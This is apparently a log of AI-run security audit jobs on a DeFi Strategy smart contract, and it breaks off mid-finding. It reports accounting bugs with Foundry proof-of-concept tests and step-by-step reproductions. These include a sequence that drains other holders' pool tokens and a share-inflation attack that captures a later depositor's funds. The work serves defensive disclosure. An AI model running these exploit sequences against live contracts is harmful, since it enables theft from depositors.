= ERC20(base).balanceOf(address(this)) - _totalSupply;\n        _mint(to, minted);\n        return (minted, 0, minted);\n    }\n    function burn(address to, address, uint256, uint256) external returns (uint256 lp, uint256 b, uint256) {\n        lp = _balanceOf[address(this)];\n        b = ERC20(base).balanceOf(address(this)) * lp / _totalSupply;\n        _burn(address(this), lp);\n        ERC20(base).transfer(to, b);\n        return (lp, b, 0);\n    }\n}\n\nabstract contract Base is Test {\n    MockToken baseT;\n    MockFYToken fy;\n    MockPool pool;\n    Strategy strategy;\n    address admin = address(0xAD);\n    address alice = address(0xA11CE);\n    address bob = address(0xB0B);\n\n    function setUp() public {\n        baseT = new MockToken(\"base\");\n        fy = new MockFYToken(address(baseT));\n        pool = new MockPool(address(baseT), address(fy));\n        strategy = new Strategy(\"S\", \"S\", IFYToken(address(fy)));\n        strategy.grantRole(Strategy.init.selector, admin);\n        strategy.grantRole(Strategy.invest.selector, admin);\n    }\n\n    function _initAndInvest(uint256 amount) internal {\n        baseT.mintTo(address(strategy), amount);\n        vm.startPrank(admin);\n        strategy.init(admin);\n        strategy.invest(IPool(address(pool)));\n        vm.stopPrank();\n    }\n}\n\ncontract BurnUsesLiveBalanceTest is Base {\n    // A holder burning while unaccounted pool tokens sit in the strategy is paid from them.\n    function testBurnPaysOutUnaccountedPoolTokens() public {\n        _initAndInvest(1000e18);                    // admin: 1000 strategy tokens, poolCached = 1000 LP\n        // admin gives bob 100 strategy tokens (10%)\n        vm.prank(admin); strategy.transfer(bob, 100e18);\n\n        // alice sends 900 LP to the strategy, intending to call mint(alice) next (not yet synced)\n        baseT.mintTo(address(pool), 900e18); pool.init(alice);\n        vm.prank(alice); pool.transfer(address(strategy), 900e18);\n\n        uint256 poolCached = strategy.poolCached();\n        uint256 supply = strategy.totalSupply();\n        // bob burns his 10%\n        vm.startPrank(bob);\n        strategy.transfer(address(strategy), 100e18);\n        uint256 got = strategy.burn(bob);\n        vm.stopPrank();\n\n        // Fair share is 10% of the 1000 accounted LP = 100 LP. Actual: 10% of 1900 = 190 LP.\n        assertEq(got, poolCached * 100e18 / supply, \"burner received unaccounted pool tokens\");\n    }\n\n    // A 1-wei LP donation makes a full exit revert with underflow.\n    function testOneWeiDonationBlocksFullBurn() public {\n        _initAndInvest(1000e18);\n        baseT.mintTo(address(pool), 1); pool.init(alice);\n        vm.prank(alice); pool.transfer(address(strategy), 1);\n\n        vm.startPrank(admin);\n        strategy.transfer(address(strategy), 1000e18);\n        uint256 got = strategy.burn(admin);   // reverts: poolCached_ - (poolCached_ + 1)\n        vm.stopPrank();\n        assertEq(got, 1000e18);\n    }\n}","reproduction":"Strategy invested with 1000 LP, totalSupply 1000e18; bob holds 100e18 (10%). Alice transfers 900 LP to the strategy intending to call mint(alice) next. Bob transfers his 100e18 strategy tokens to the strategy and calls burn(bob). Expected: 10% of the 1000 accounted LP = 100e18 LP. Actual: 10% of 1900 = 190e18 LP; poolCached becomes 910e18 and alice's subsequent mint() credits her only 810e18 deposit. Second case: sole holder with 1000e18 supply, someone sends 1 wei LP; burn of all 1000e18 reverts with panic 0x11 at line 367.","severity":"medium","snippet":"        poolTokensObtained = pool.balanceOf(address(this)) * burnt / totalSupply_;","title":"burn() prices withdrawals on the live pool-token balance instead of poolCached, paying burners out of unaccounted (pending) LP tokens"},{"citation":"resolved","description":"mintDivested mints `_totalSupply * deposit / baseCached_` rounded down, but always credits the full deposit to baseCached and has no minimum-shares check (mint() at line 341 is identical with poolCached). When totalSupply is tiny relative to baseCached, a holder of the remaining shares can repeatedly deposit baseCached-1 (which mints 0 shares while roughly doubling baseCached, value staying with themselves as sole holder); after ~60 rounds the per-share price exceeds ordinary deposits, which then mint 0 shares and accrue entirely to the attacker, who burns their 1 wei to take everything. The dust-supply state is reachable whenever holders exit down to a few wei after any profitable cycle (baseCached/supply > 1 after divest), since burnDivested rounds in favour of the remaining holders. Fix: reject zero-share mints (`require(minted > 0)`) and/or add a caller-supplied minimum-out, or keep a permanently locked minimum supply / virtual-share offset so supply cannot fall to dust.","line":384,"path":"src/Strategy.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity >=0.8.13;\nimport \"forge-std/Test.sol\";\nimport { Strategy } from \"src/Strategy.sol\";\nimport { IFYToken } from \"@yield-protocol/vault-v2/src/interfaces/IFYToken.sol\";\nimport { IPool } from \"@yield-protocol/yieldspace-tv/src/interfaces/IPool.sol\";\nimport { ERC20 } from \"@yield-protocol/utils-v2/src/token/ERC20.sol\";\n\ncontract MockToken is ERC20 {\n    constructor(string memory n) ERC20(n, n, 18) {}\n    function mintTo(address to, uint256 a) external { _mint(to, a); }\n}\n\ncontract MockFYToken is ERC20 {\n    address public underlying;\n    constructor(address u) ERC20(\"fy\", \"fy\", 18) { underlying = u; }\n    function redeem(address, uint256 a) external returns (uint256) { require(a == 0); return 0; }\n}\n\n/// Minimal pool: `init` mints LP 1:1 for base received.\ncontract MockPool is ERC20 {\n    address public base;\n    address public fyToken;\n    uint32 public maturity;\n    constructor(address b, address fy) ERC20(\"lp\", \"lp\", 18) { base = b; fyToken = fy; maturity = uint32(block.timestamp + 365 days); }\n    function init(address to) external returns (uint256, uint256, uint256 minted) {\n        minted = ERC20(base).balanceOf(address(this)) - _totalSupply;\n        _mint(to, minted);\n        return (minted, 0, minted);\n    }\n    function burn(address to, address, uint256, uint256) external returns (uint256 lp, uint256 b, uint256) {\n        lp = _balanceOf[address(this)];\n        b = ERC20(base).balanceOf(address(this)) * lp / _totalSupply;\n        _burn(address(this), lp);\n        ERC20(base).transfer(to, b);\n        return (lp, b, 0);\n    }\n}\n\nabstract contract Base is Test {\n    MockToken baseT;\n    MockFYToken fy;\n    MockPool pool;\n    Strategy strategy;\n    address admin = address(0xAD);\n    address alice = address(0xA11CE);\n    address bob = address(0xB0B);\n\n    function setUp() public {\n        baseT = new MockToken(\"base\");\n        fy = new MockFYToken(address(baseT));\n        pool = new MockPool(address(baseT), address(fy));\n        strategy = new Strategy(\"S\", \"S\", IFYToken(address(fy)));\n        strategy.grantRole(Strategy.init.selector, admin);\n        strategy.grantRole(Strategy.invest.selector, admin);\n    }\n\n    function _initAndInvest(uint256 amount) internal {\n        baseT.mintTo(address(strategy), amount);\n        vm.startPrank(admin);\n        strategy.init(admin);\n        strategy.invest(IPool(address(pool)));\n        vm.stopPrank();\n    }\n}\n\ncontract InflationTest is Base {\n    // With a dust supply, deposits below baseCached/supply mint 0 shares but are credited to baseCached.\n    function testDustSupplyInflationStealsDeposit() public {\n        _initAndInvest(1000e18);\n        baseT.mintTo(address(pool), 5e18);           // pool earns yield: 1005 base backs 1000 LP\n        vm.warp(pool.maturity());\n        strategy.divest();                           // DIVESTED: baseCached 1005e18, supply 1000e18\n\n        // bob holds 1 wei of strategy token; all other holders exit\n        vm.prank(admin); strategy.transfer(bob, 1);\n        vm.startPrank(admin);\n        strategy.transfer(address(strategy), 1000e18 - 1);\n        strategy.burnDivested(admin);\n        vm.stopPrank();\n        assertEq(strategy.totalSupply(), 1);\n        assertEq(strategy.baseCached(), 2);          // 1005e18 - floor(1005e18*(1000e18-1)/1000e18)\n\n        // bob inflates baseCached by repeatedly depositing baseCached-... amounts that mint 0 shares\n        baseT.mintTo(bob, 10e18);\n        vm.startPrank(bob);\n        for (uint256 i; i < 61; i++) {\n            uint256 bc = strategy.baseCached();\n            uint256 d = bc - 1; // with supply 1, minted = d / bc == 0 when d < bc\n            baseT.transfer(address(strategy), d);\n            strategy.mintDivested(bob);\n        }\n        vm.stopPrank();\n        uint256 bcAfter = strategy.baseCached();\n        assertEq(strategy.totalSupply(), 1);\n\n        // alice deposits 1e18 (< baseCached) and receives 0 shares\n        uint256 aliceDeposit = 1e18;\n        require(aliceDeposit < bcAfter, \"setup\");\n        baseT.mintTo(alice, aliceDeposit);\n        vm.startPrank(alice);\n        baseT.transfer(address(strategy), aliceDeposit);\n        uint256 minted = strategy.mintDivested(alice);\n        vm.stopPrank();\n        assertGt(minted, 0, \"victim deposit minted zero shares\");\n    }\n}","reproduction":"Invest 1000e18 base, pool earns 5e18, divest -> baseCached 1005e18, supply 1000e18. Bob is left with 1 wei of shares after everyone else burns (supply 1, baseCached 2). Bob loops 61x: transfer baseCached-1 base, call mintDivested(bob) (mints 0 each time), costing ~4.6e18 base that he still fully owns. Alice transfers 1e18 base and calls mintDivested(alice). Expected: alice receives >0 shares. Actual: 0 shares; bob's 1 wei now redeems alice's 1e18 as well.","severity":"medium","snippet":"        minted = _totalSupply * deposit / baseCached_;","title":"Dust total supply lets the last holder inflate baseCached/supply so later mintDivested/mint deposits mint 0 shares (no minimum-out, no virtual shares)"},{"citation":"resolved","description":"burnDivested lets holders burn the entire supply, leaving baseCached == 0 and _totalSupply == 0 (burn() in INVESTED likewise leaves poolCached == 0). There is no bootstrap path afterwards: mintDivested computes `_totalSupply * deposit / baseCached_` = x/0 and panics, init()/_init is restricted to State.DEPLOYED, and invest() with baseCached 0 sends 0 base to a pool. Any base later sent to the strategy cannot be minted against and is stuck (it is not tracked by baseCached, and burnDivested needs a supply). Fix: in mintDivested/mint, when _totalSupply == 0 (or the cache is 0) mint 1:1 like _init does, or prevent the supply from reaching zero (locked minimum supply).","line":384,"path":"src/Strategy.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity >=0.8.13;\nimport \"forge-std/Test.sol\";\nimport { Strategy } from \"src/Strategy.sol\";\nimport { IFYToken } from \"@yield-protocol/vault-v2/src/interfaces/IFYToken.sol\";\nimport { IPool } from \"@yield-protocol/yieldspace-tv/src/interfaces/IPool.sol\";\nimport { ERC20 } from \"@yield-protocol/utils-v2/src/token/ERC20.sol\";\n\ncontract MockToken is ERC20 {\n    constructor(string memory n) ERC20(n, n, 18) {}\n    function mintTo(address to, uint256 a) external { _mint(to, a); }\n}\n\ncontract MockFYToken is ERC20 {\n    address public underlying;\n    constructor(address u) ERC20(\"fy\", \"fy\", 18) { underlying = u; }\n    function redeem(address, uint256 a) external returns (uint256) { require(a == 0); return 0; }\n}\n\n/// Minimal pool: `init` mints LP 1:1 for base received.\ncontract MockPool is ERC20 {\n    address public base;\n    address public fyToken;\n    uint32 public maturity;\n    constructor(address b, address fy) ERC20(\"lp\", \"lp\", 18) { base = b; fyToken = fy; maturity = uint32(block.timestamp + 365 days); }\n    function init(address to) external returns (uint256, uint256, uint256 minted) {\n        minted = ERC20(base).balanceOf(address(this)) - _totalSupply;\n        _mint(to, minted);\n        return (minted, 0, minted);\n    }\n    function burn(address to, address, uint256, uint256) external returns (uint256 lp, uint256 b, uint256) {\n        lp = _balanceOf[address(this)];\n        b = ERC20(base).balanceOf(address(this)) * lp / _totalSupply;\n        _burn(address(this), lp);\n        ERC20(base).transfer(to, b);\n        return (lp, b, 0);\n    }\n}\n\nabstract contract Base is Test {\n    MockToken baseT;\n    MockFYToken fy;\n    MockPool pool;\n    Strategy strategy;\n    address admin = address(0xAD);\n    address alice = address(0xA11CE);\n    address bob = address(0xB0B);\n\n    function setUp() public {\n        baseT = new MockToken(\"base\");\n        fy = new MockFYToken(address(baseT));\n        pool = new MockPool(address(baseT), address(fy));\n        strategy = new Strategy(\"S\", \"S\", IFYToken(address(fy)));\n        strategy.grantRole(Strategy.init.selector, admin);\n        strategy.grantRole(Strategy.invest.selector, admin);\n    }\n\n    function _initAndInvest(uint256 amount) internal {\n        baseT.mintTo(address(strategy), amount);\n        vm.startPrank(admin);\n        strategy.init(admin);\n        strategy.invest(IPool(address(pool)));\n        vm.stopPrank();\n    }\n}\n\ncontract ZeroSupplyBrickTest is Base {\n    // After every holder exits in DIVESTED, mintDivested divides by baseCached == 0 and reverts forever.\n    function testMintDivestedAfterFullExit() public {\n        baseT.mintTo(address(strategy), 1000e18);\n        vm.prank(admin); strategy.init(admin);\n\n        vm.startPrank(admin);\n        strategy.transfer(address(strategy), 1000e18);\n        strategy.burnDivested(admin);\n        vm.stopPrank();\n        assertEq(strategy.totalSupply(), 0);\n        assertEq(strategy.baseCached(), 0);\n\n        baseT.mintTo(address(strategy), 500e18);\n        uint256 minted = strategy.mintDivested(alice);  // panics 0x12 (division by zero)\n        assertGt(minted, 0);\n    }\n}","reproduction":"Transfer 1000e18 base to a DEPLOYED strategy, admin calls init(admin) (supply 1000e18, DIVESTED). Admin transfers all 1000e18 strategy tokens to the strategy and calls burnDivested(admin) -> supply 0, baseCached 0. Alice transfers 500e18 base and calls mintDivested(alice). Expected: shares minted. Actual: panic 0x12 (division by zero); her 500e18 base is stuck.","severity":"medium","snippet":"        minted = _totalSupply * deposit / baseCached_;","title":"When all strategy tokens are burned, mintDivested/mint divide by a zero cache and the strategy is permanently unusable"},{"citation":"resolved","description":"Strategy inherits ERC20Rewards; setRewardsToken (auth) accepts any token, including `base`. Rewards funded into the strategy then sit in base.balanceOf(this) above baseCached, so mintDivested treats them as the caller's deposit (deposit = balance - baseCached), and claim() transfers base out, which can push the balance below baseCached so mintDivested underflows and burnDivested pays out reward funds. Trust assumption for the admin, but nothing prevents it. Fix: require(rewardsToken_ != base && rewardsToken_ != pool tokens) in an override, or document it.","line":381,"path":"src/Strategy.sol","reproduction":"Admin calls setRewardsToken(base) and funds 100e18 base for rewards while DIVESTED with baseCached 1000e18. Anyone calls mintDivested(attacker) with no transfer: deposit = 100e18, minting 100e18*supply/1000e18 shares backed by reward funds. Expected: no shares without a deposit. Actual: reward funds captured. Later claim() of those rewards makes balanceOf < baseCached, and mintDivested reverts with underflow.","severity":"low","snippet":"        uint256 deposit = base.balanceOf(address(this)) - baseCached_;","title":"If the ERC20Rewards rewards token is set to the base token, reward funds are counted as the next minter's deposit and claims break the base cache"}],"hash":"68101cccd4d1afcbe46d840222635a0f1bf51ff11229fbfa6cfdd7df29ea4348","nodeId":"eeb63be2-4b5a-4e7c-8dc4-c3753fa7b5dc","outcome":"completed","summary":"I found four defects in how `src/Strategy.sol` mints and burns strategy tokens and works out a burner's payout. They are in `.imd-findings.json`. The three medium ones each come with a Foundry test, and all four tests fail on the current code for the reason given. Repository files are unchanged; the tests are in `test/scratch/`.\n\n**Medium**\n1. **`burn()` pays from the live LP balance, not `poolCached` (`src/Strategy.sol:363`).** Any pool tokens sitting in the strategy before their sender calls `mint()` get shared out to whoever burns first.\n   - With 1000 LP accounted and 900 LP waiting for alice's `mint()`, a 10% holder receives 190 LP instead of 100.\n   - The same mismatch makes line 367 underflow if the payout exceeds the cached amount. Sending just 1 wei of LP to the strategy makes the last holder's full exit revert (panic 0x11) until someone calls `mint()` to resync.\n   - Fix: compute the payout as `poolCached_ * burnt / totalSupply_`, the way `burnDivested` uses `baseCached`.\n2. **Tiny supply lets the last holder steal later deposits (`:384`, same pattern in `mint()` at `:341`).** Minting rounds down, there is no minimum-shares check, and the full deposit is always credited to the cache.\n   - Setup: after a profitable cycle, supply falls to 1 wei with 2 wei of base cached.\n   - The holder deposits 61 times; each deposit mints 0 shares and roughly doubles the cached base.\n   - Alice's 1e18 deposit then mints 0 shares, and the holder's 1 wei now redeems her funds too.\n   - Fix: reject zero-share mints, add a minimum-out, or keep a locked minimum supply (virtual shares).\n3. **Burning the whole supply bricks the strategy (`:384`).** Once every token is burned through `burnDivested`, `mintDivested` divides by zero (panic 0x12). `init` only works in the DEPLOYED state, so there is no way back, and any base sent in afterwards is stuck. The INVESTED `mint()` has the same problem once `poolCached` reaches 0.\n   - Fix: mint 1:1 when supply is zero, or stop supply from ever reaching zero.\n\n**Low**\n4. **Rewards token set to the base token (`:381`).** If an admin calls `setRewardsToken(base)`, reward funds look like a deposit to the next `mintDivested` caller. Paying out those rewards then pushes the balance below `baseCached`, which breaks the accounting. This depends on an admin misconfiguring the contract, so it has no test.\n\n**Coverage**\n- I covered `mint`, `burn`, `mintDivested`, `burnDivested` and `_init` / `init` in depth, plus how `invest`, `divest`, `eject`, `buyFYToken` and `restart` set the cached values those functions rely on.\n- I did not go beyond the assigned area (`StrategyMigrator` / `draft` / `deprecated` were only read for context), and I found nothing to report in `eject` or `buyFYToken`.\n- The tests use minimal mock pool and fyToken contracts, not the real YieldSpace pool, because the project's own tests need a remote fork.\n- The tests were compiled with solc 0.8.28 (passed with forge's `--use` flag) instead of the 0.8.15 pinned in `foundry.toml`. 0.8.15 isn't installed here and its install folder is read-only. Anyone rerunning the tests needs a compiler that forge can find.","treeHash":null,"usage":{"cachedInputTokens":467793,"cost":{"source":"runtime","usdMicros":780099},"inputTokens":23,"model":"claude-opus-5-5","outputTokens":16774,"runtime":"claude","turns":12,"wallClockMs":192952}},{"artifacts":[],"attempt":2,"bundleHash":null,"device":"ac55933908aba3e5","findings":[],"hash":"7051c561bd39e60aac990c140bdce379f6da4e558ba22beac9ee88272aa6afb0","nodeId":"4e031291-77b6-4d19-ab16-5dc3d1ed1314","outcome":"failed","summary":"submodules did not fetch: Submodule 'lib/forge-std' (https://github.com/foundry-rs/forge-std) registered for path 'lib/forge-std'\nSubmodule 'lib/vault-v2' (https://github.com/yieldprotocol/vault-v2) registered for path 'lib/vault-v2'\nSubmodule 'lib/yield-utils-v2' (https://github.com/yieldprotocol/yield-utils-v2) registered for path 'lib/yield-utils-v2'\nSubmodule 'lib/yieldspace-tv' (https://github.com/yieldprotocol/yields","treeHash":null,"usage":{"cachedInputTokens":0,"inputTokens":0,"model":null,"outputTokens":0,"runtime":"claude","turns":0,"wallClockMs":5671}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"ca075d17c94a854b","findings":[{"citation":"resolved","description":"burn(address) computes the burner's payout from pool.balanceOf(address(this)), but then subtracts that payout from the cached amount (line 367: poolCached = poolCached_ - poolTokensObtained). mint(address) on the other hand prices deposits against poolCached only (line 341: minted = _totalSupply * deposit / poolCached_) and treats balance - poolCached as the deposit (line 335). The two functions therefore disagree about what the strategy holds as soon as the balance and the cache differ, and anyone can make them differ by transferring pool tokens to the strategy without calling mint. Root cause: the payout uses unaccounted tokens as if they belonged to all holders, yet the whole payout is charged to the cache. After such a burn the cache is far below the real backing while totalSupply fell only pro rata, so the unaccounted tokens that remain are booked by the next mint as a deposit at a collapsed price and mint a huge number of strategy tokens. The caller recovers every token they sent in plus almost all pool tokens belonging to the other holders. No role is needed (mint and burn are only gated by state == INVESTED), the sequence fits in one transaction, and the capital is fully recovered, so it can be flash-funded. Secondary effect of the same line: if the unaccounted balance is large enough that balance * burnt / totalSupply exceeds poolCached, line 367 underflows and the burn reverts, so a transfer of pool tokens can also block large holders from exiting. Fix (keeps the intended design, where the cache is the accounted backing): compute the payout from the cache, poolTokensObtained = poolCached_ * burnt / totalSupply_; nothing else needs to change.","line":363,"path":"src/Strategy.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity >=0.8.13;\n\nimport \"forge-std/Test.sol\";\nimport {Strategy, IFYToken, IPool} from \"src/Strategy.sol\";\n\ncontract ScratchToken {\n    string public name;\n    string public symbol;\n    uint8 public constant decimals = 18;\n    uint256 public totalSupply;\n    mapping(address => uint256) public balanceOf;\n\n    constructor(string memory name_) {\n        name = name_;\n        symbol = name_;\n    }\n\n    function mint(address to, uint256 amount) public {\n        balanceOf[to] += amount;\n        totalSupply += amount;\n    }\n\n    function transfer(address to, uint256 amount) external returns (bool) {\n        balanceOf[msg.sender] -= amount;\n        balanceOf[to] += amount;\n        return true;\n    }\n}\n\ncontract ScratchFYToken is ScratchToken {\n    address public underlying;\n\n    constructor(address underlying_) ScratchToken(\"fyToken\") {\n        underlying = underlying_;\n    }\n}\n\n/// Minimal stand-in for a YieldSpace pool: an LP token that mints 1:1 for the base it finds on `init`.\ncontract ScratchPool is ScratchToken {\n    ScratchToken public base;\n    ScratchFYToken public fyToken;\n    uint32 public maturity;\n\n    constructor(ScratchToken base_, ScratchFYToken fyToken_) ScratchToken(\"pool\") {\n        base = base_;\n        fyToken = fyToken_;\n        maturity = uint32(block.timestamp + 90 days);\n    }\n\n    function init(address to) external returns (uint256, uint256, uint256) {\n        uint256 baseIn = base.balanceOf(address(this));\n        mint(to, baseIn);\n        return (baseIn, 0, baseIn);\n    }\n}\n\ncontract BurnDonationTest is Test {\n    ScratchToken base;\n    ScratchFYToken fyToken;\n    ScratchPool pool;\n    Strategy strategy;\n\n    address victim = address(0xA11CE);\n    address attacker = address(0xBAD);\n\n    function setUp() public {\n        base = new ScratchToken(\"base\");\n        fyToken = new ScratchFYToken(address(base));\n        pool = new ScratchPool(base, fyToken);\n        strategy = new Strategy(\"Strategy\", \"STR\", IFYToken(address(fyToken)));\n\n        strategy.grantRole(Strategy.init.selector, address(this));\n        strategy.grantRole(Strategy.invest.selector, address(this));\n\n        // The victim is the only liquidity provider: 100 base -> 100 strategy tokens -> 100 pool tokens.\n        base.mint(address(strategy), 100e18);\n        strategy.init(victim);\n        strategy.invest(IPool(address(pool)));\n\n        assertEq(strategy.totalSupply(), 100e18);\n        assertEq(strategy.poolCached(), 100e18);\n        assertEq(pool.balanceOf(address(strategy)), 100e18);\n    }\n\n    /// A burner must receive poolCached * burnt / totalSupply. Pool tokens sitting in the strategy that\n    /// have not been accounted by `mint` yet must not change what a burner is paid.\n    function testBurnPaysProRataOfCachedPoolTokens() public {\n        // The attacker joins honestly with 100 pool tokens and owns half of the strategy.\n        pool.mint(attacker, 300e18);\n        vm.startPrank(attacker);\n        pool.transfer(address(strategy), 100e18);\n        strategy.mint(attacker);\n        assertEq(strategy.balanceOf(attacker), 100e18);\n\n        // Unaccounted pool tokens are sent to the strategy, then 99 of the 100 strategy tokens are burnt.\n        pool.transfer(address(strategy), 200e18);\n        strategy.transfer(address(strategy), 99e18);\n        uint256 obtained = strategy.burn(attacker);\n        vm.stopPrank();\n\n        // 99 of 200 strategy tokens over 200 cached pool tokens is 99 pool tokens.\n        assertEq(obtained, 99e18, \"burner was paid a share of pool tokens that are not in poolCached\");\n    }\n\n    /// End to end: the same sequence followed by `mint` and a final `burn` must not move value\n    /// from the other holder to the caller.\n    function testDonateBurnMintDoesNotDrainOtherHolders() public {\n        pool.mint(attacker, 300e18);\n        vm.startPrank(attacker);\n        pool.transfer(address(strategy), 100e18);\n        strategy.mint(attacker);\n\n        pool.transfer(address(strategy), 200e18);\n        strategy.transfer(address(strategy), 99e18);\n        strategy.burn(attacker);\n\n        // The pool tokens left over are now booked as a fresh deposit against the deflated cache.\n        strategy.mint(attacker);\n\n        strategy.transfer(address(strategy), strategy.balanceOf(attacker));\n        strategy.burn(attacker);\n        vm.stopPrank();\n\n        assertLe(pool.balanceOf(attacker), 300e18, \"attacker left with more pool tokens than they brought\");\n\n        // The victim still holds 100 strategy tokens, which were backed by 100 pool tokens.\n        vm.startPrank(victim);\n        strategy.transfer(address(strategy), 100e18);\n        uint256 victimOut = strategy.burn(victim);\n        vm.stopPrank();\n        assertApproxEqAbs(victimOut, 100e18, 10, \"victim can no longer redeem their pool tokens\");\n    }\n}","reproduction":"State: INVESTED, totalSupply = 100e18 (all held by a victim), poolCached = pool.balanceOf(strategy) = 100e18. Caller starts with 300e18 pool tokens and no strategy tokens. 1) transfer 100e18 pool tokens to the strategy, mint(caller): caller gets 100e18 strategy tokens; totalSupply 200e18, poolCached 200e18. 2) transfer 200e18 pool tokens to the strategy and do NOT call mint: balance 400e18, poolCached 200e18. 3) transfer 99e18 strategy tokens to the strategy, burn(caller). Expected payout: poolCached * burnt / totalSupply = 200e18 * 99 / 200 = 99e18. Actual: 400e18 * 99 / 200 = 198e18; poolCached becomes 200e18 - 198e18 = 2e18 while the strategy still holds 202e18 and totalSupply is 101e18. 4) mint(caller): deposit = 202e18 - 2e18 = 200e18, minted = 101e18 * 200e18 / 2e18 = 10100e18 (expected about 100e18). 5) transfer all 10101e18 strategy tokens to the strategy, burn(caller): 202e18 * 10101 / 10201 = 200.0198e18. Result: caller ends with 398.0198e18 pool tokens after bringing 300e18; the victim's 100e18 strategy tokens now redeem for 1.98e18 pool tokens instead of 100e18. Repeating steps 2-5 removes the remainder. The attached test fails on both assertions today (198e18 vs 99e18; 398.02e18 vs <= 300e18; victim 1.98e18 vs 100e18) and passes once line 363 uses poolCached_.","severity":"critical","snippet":"        poolTokensObtained = pool.balanceOf(address(this)) * burnt / totalSupply_;","title":"Strategy.burn pays out of the live pool-token balance instead of poolCached, letting a caller drain other holders"},{"citation":"resolved","description":"mintDivested (line 384) and mint (line 341, minted = _totalSupply * deposit / poolCached_) add the whole deposit to the cache before computing the rounded-down amount of strategy tokens, and neither rejects minted == 0 nor takes a minimum from the caller. Whenever _totalSupply * deposit < cache the depositor receives nothing and the deposit becomes backing for the existing holders. This is reachable whenever the cache per strategy token is above 1, which is the normal condition after any divest (line 200 sets baseCached to the full base balance, which includes pool fees, fyToken redemption and any base sent to the strategy). The comment in _init (line 140) shows the rounding-down attack is known, but it is only handled by how much is minted at init: nothing in mint, mintDivested, burn or burnDivested keeps the supply above dust afterwards, so the protection disappears once the other holders exit. Precondition, stated plainly: one account holds the whole supply and the supply is dust (this cannot be forced on a strategy where other holders keep a meaningful stake). In that state the holder can double the cache with each zero-mint deposit at no loss to themselves, since they own 100% of the supply, and then any deposit smaller than the cache mints 0 and is collected by burning the single wei. Minimal fix that keeps the design: revert in mint and mintDivested when minted == 0 (and, to close the partial-rounding variant, either let the caller pass a minimum or keep a permanently locked minimum supply from init).","line":384,"path":"src/Strategy.sol","reproduction":"State: DIVESTED, totalSupply = 100 wei all held by account X, baseCached = 101 wei (share price just above 1). 1) X transfers 99 strategy tokens to the strategy and calls burnDivested(X): receives 101 * 99 / 100 = 99; now totalSupply = 1, baseCached = 2. 2) X repeats 70 times: transfer baseCached - 1 base to the strategy, call mintDivested(X). Each call returns minted = 1 * (baseCached - 1) / baseCached = 0 (expected: a revert or a non-zero mint) and baseCached goes 2, 3, 5, 9, ... up to 1180591620717411303425 (about 1180.59e18); X has put in 1180591620717411303423 in total. 3) A depositor transfers 1000e18 base and calls mintDivested(depositor). Expected: strategy tokens worth 1000e18. Actual: minted = 1 * 1000e18 / 1180.59e18 = 0, balanceOf(depositor) = 0, baseCached = 2180.59e18. 4) X transfers the 1 wei strategy token to the strategy and calls burnDivested(X): receives 2180591620717411303425, i.e. everything X put in plus the depositor's 1000e18. Run locally against mocks (ERC20 base, an LP mock for the pool) and the numbers above are the observed ones. The same arithmetic applies to mint(address) at line 341 with pool tokens while INVESTED (totalSupply = 1, poolCached = 2, deposit 1 pool token mints 0).","severity":"medium","snippet":"        minted = _totalSupply * deposit / baseCached_;\n\n        _mint(to, minted);","title":"mintDivested and mint accept deposits that round to zero strategy tokens, so a dust-supply holder can inflate the share price and take a later deposit"},{"citation":"resolved","description":"mint (line 341) divides by poolCached and mintDivested (line 384) divides by baseCached. burn and burnDivested let holders take the supply and the matching cache to exactly zero, and the only function that mints against an empty strategy, _init, is restricted to state DEPLOYED (line 132), which is left for good after the first init. So after the last holder exits, every later mint or mintDivested panics with division by zero. No other transition recovers it: invest from DIVESTED forwards baseCached = 0 to the pool; divest and eject can set baseCached above zero from stray balances, but totalSupply stays 0, and then minted = 0 * deposit / baseCached = 0 for every deposit (the deposit is kept and nothing is minted); restart requires DRAINED. The contract, its role grants and any rewards schedule on it have to be abandoned and redeployed. No funds of exiting holders are lost; the impact is permanent loss of the strategy instance, triggered by ordinary user actions. Fix that preserves behaviour: when _totalSupply == 0 treat the deposit as a first deposit (minted = deposit), or keep a locked minimum supply from init so the supply can never reach zero.","line":341,"path":"src/Strategy.sol","reproduction":"Invested case: init with 100e18 base to holder H, invest into a pool (poolCached = 100e18, totalSupply = 100e18). H transfers 100e18 strategy tokens to the strategy and calls burn(H): receives 100e18 pool tokens; totalSupply = 0, poolCached = 0. Anyone then transfers 100e18 pool tokens to the strategy and calls mint(to). Expected: 100e18 strategy tokens. Actual: Panic(0x12) division by zero at line 341. Divested case: init with 100e18 base to H, H transfers 100e18 strategy tokens and calls burnDivested(H): totalSupply = 0, baseCached = 0. Transfer 50e18 base and call mintDivested(to): Panic(0x12) at line 384; init(to) and restart() both revert with 'Not allowed in this state'. Both sequences were run locally against mocks and behave as stated.","severity":"low","snippet":"        minted = _totalSupply * deposit / poolCached_;","title":"Once the last strategy tokens are burnt the strategy can never mint again (division by zero), in both the invested and divested states"},{"citation":"resolved","description":"StrategyMigrator documents that the contract 'poses as a Pool to receive all assets from a Strategy during a roll operation', and Strategy implements that hook as mint(address,address,uint256,uint256) (line 106) plus a constructor grant described as 'Enable the `mint` -> `init` hook' (line 58). But the roll path of this contract, invest, no longer calls mint on the target: it calls pool_.init(address(this)) and decodes (uint256,uint256,uint256). Strategy.init (line 119) returns a single uint256 and StrategyMigrator has no init at all, so when the target is a Strategy or any StrategyMigrator the call either returns 32 bytes that fail ABI decoding or hits a missing function, and invest reverts. The 4-argument mint hook is therefore only usable by the older strategy version that calls pool.mint; holders of this version cannot be migrated to a successor through invest, and the self-grant at line 58 has no effect (mint calls the internal _init and the contract never calls its own external init). This is a functional gap rather than a loss of funds: holders can still exit individually. Fix without changing the pool-facing design: give the migrator hook the shape invest actually calls, i.e. an init(address) that returns (baseIn, 0, minted), or document that this version cannot be the source of a migration and remove the dead grant.","line":165,"path":"src/Strategy.sol","reproduction":"Deploy Strategy A and Strategy B on the same fyToken/base. Grant B's init and mint(address,address,uint256,uint256) roles to A, grant A's init and invest roles to the operator. Send 100e18 base to A, call A.init(holder), then A.invest(IPool(address(B))). Expected (per StrategyMigrator's description): B receives the 100e18 base and mints 100e18 B tokens to A. Actual: invest reverts, because B.init returns one word where three are decoded. Calling B.init(address(A)) directly from A's address after moving the same base succeeds and returns 100e18, which shows only the return shape stands in the way. Run locally and observed as stated.","severity":"low","snippet":"        (,, poolTokensObtained) = pool_.init(address(this));","title":"invest decodes three return words from init, so a Strategy can never roll into another Strategy posing as a pool; the migration hook it inherits is unreachable from this 